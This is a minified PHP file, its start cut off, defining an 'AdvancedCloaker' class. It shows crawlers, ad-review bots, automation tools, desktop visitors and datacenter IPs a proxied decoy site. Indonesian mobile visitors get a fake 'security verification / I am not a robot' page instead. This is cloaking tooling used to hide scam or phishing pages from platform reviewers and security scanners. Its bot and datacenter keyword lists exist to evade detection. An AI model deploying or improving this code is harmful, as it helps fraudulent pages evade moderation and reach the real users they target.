safeUrl=$safeUrl;$this->finalDestination=$finalDestination;$this->cacheDir=__DIR__.'/cache/';$this->userAgent=strtolower($_SERVER['HTTP_USER_AGENT']?? '');$this->acceptLanguage=strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']?? '');$this->userIp=$this->detectRealIp();}private function detectRealIp():string{if(!empty($_SERVER['HTTP_CF_CONNECTING_IP']))return $_SERVER['HTTP_CF_CONNECTING_IP'];if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))return trim(explode(',',$_SERVER['HTTP_X_FORWARDED_FOR'])[0]);return $_SERVER['REMOTE_ADDR']?? '';}public function run():void{$this->calculateRiskScore();if($this->riskScore>=30){$this->serveSafePage();}else{$this->serveVerificationPage();}}private function calculateRiskScore():void{if($this->isKnownBot()){$this->riskScore+=100;return;}if(!$this->isMobile()){$this->riskScore+=50;return;}$ipData=$this->getIpIntelligence();if(!$ipData||$ipData->countryCode!=='ID'){$this->riskScore+=50;return;}if($this->isDatacenter($ipData->org,$ipData->as)){$this->riskScore+=100;return;}if($this->isLanguageMismatch()){$this->riskScore+=30;}}private function isKnownBot():bool{$botPattern='/(googlebot|adsbot-google|bingbot|slurp|duckduckbot|baiduspider|yandexbot|facebot|facebookexternalhit|twitterbot|linkedinbot|applebot|tiktokbot|bytedancewebbot|bytespider|ahrefsbot|semrushbot|mj12bot|lighthouse|curl|wget|python|java\/|headless|selenium|webdriver)/i';return preg_match($botPattern,$this->userAgent)===1;}private function isMobile():bool{return preg_match('/(iphone|android|mobile|samsung|xiaomi|oppo|vivo|realme)/i',$this->userAgent)===1;}private function getIpIntelligence():?object{$cacheFile=$this->cacheDir.'ip_'.md5($this->userIp).'.json';if(file_exists($cacheFile)&&(time()-filemtime($cacheFile)<21600)){return json_decode(file_get_contents($cacheFile));}$ctx=stream_context_create(['http'=>['timeout'=>2]]);$response=@file_get_contents("http://ip-api.com/json/{$this->userIp}?fields=status,message,countryCode,as,org",false,$ctx);if($response){$data=json_decode($response);if($data&&$data->status==='success'){if(!is_dir($this->cacheDir))mkdir($this->cacheDir,0755,true);file_put_contents($cacheFile,json_encode($data));return $data;}}return null;}private function isDatacenter(string $org,string $as):bool{$checkStr=strtolower($org.' '.$as);$dcKeywords=['amazon','aws','google','microsoft','azure','oracle','alibaba','tencent','digitalocean','linode','akamai','vultr','hetzner','ovh','leaseweb','cloudflare','fastly','quadranet','buyvm','hostinger','datacenter','server','bytedance','tiktok','douyin'];foreach($dcKeywords as $keyword){if(strpos($checkStr,$keyword)!==false)return true;}return false;}private function isLanguageMismatch():bool{if(empty($this->acceptLanguage))return true;return(strpos($this->acceptLanguage,'id')===false&&strpos($this->acceptLanguage,'en-us')===false);}private function serveVerificationPage():void{echo ' Verifikasi Keamanan
Saya bukan robot- tekan kotak>>>
Secure Verification 路 Privasi - Ketentuan
';exit;}private function serveSafePage():void{$cacheFile=$this->cacheDir.md5($this->safeUrl).'.html';if(file_exists($cacheFile)&&(time()-filemtime($cacheFile)<3600)){echo file_get_contents($cacheFile);exit;}$ch=curl_init();curl_setopt_array($ch,[CURLOPT_URL=>$this->safeUrl,CURLOPT_RETURNTRANSFER=>true,CURLOPT_FOLLOWLOCATION=>true,CURLOPT_SSL_VERIFYPEER=>false,CURLOPT_TIMEOUT=>10,CURLOPT_USERAGENT=>$_SERVER['HTTP_USER_AGENT']?? 'Mozilla/5.0 (Linux; Android 13; SM-A145F) AppleWebKit/537.36',CURLOPT_ENCODING=>'gzip, deflate',CURLOPT_HTTPHEADER=>['Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8','Accept-Language: id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7','Cache-Control: max-age=0']]);$html=curl_exec($ch);curl_close($ch);if($html){$baseTag='';$html=str_ireplace('',''."\n".$baseTag,$html);if(!is_dir($this->cacheDir))mkdir($this->cacheDir,0755,true);file_put_contents($cacheFile,$html);echo $html;exit;}http_response_code(503);echo "Temporarily Unavailable";exit;}}$engine=new AdvancedCloaker("https://hostmara.com/","https://hostmara.com/");$engine->run();